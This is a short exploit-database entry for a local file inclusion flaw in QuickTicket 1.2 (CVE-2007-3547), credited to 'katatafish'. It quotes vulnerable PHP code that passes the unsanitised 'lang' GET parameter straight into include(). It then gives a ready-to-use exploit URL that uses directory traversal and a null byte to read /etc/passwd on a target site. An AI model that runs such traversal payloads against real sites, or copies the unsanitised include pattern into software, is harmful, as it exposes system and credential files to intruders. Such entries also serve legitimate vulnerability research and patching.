QuickTicket 1.2 - 'qti_checkname.php' Local File Inclusion



EKU-ID: 12074 CVE: OSVDB-37605;CVE-2007-3547 OSVDB-ID:
Author: Katatafish Published: 2007-06-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


###QuickTicket v1.2 Local File Inclusion###

#download: http://www.qt-cute.org/download/qti12.zip

#found by: katatafish (karatatata@hush.com)

#vulncode:
 $strLang = $_GET["lang"];
 include("language/$strLang/qtf_lang_reg.inc");

#exploit:
 http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

# milw0rm.com [2007-06-27]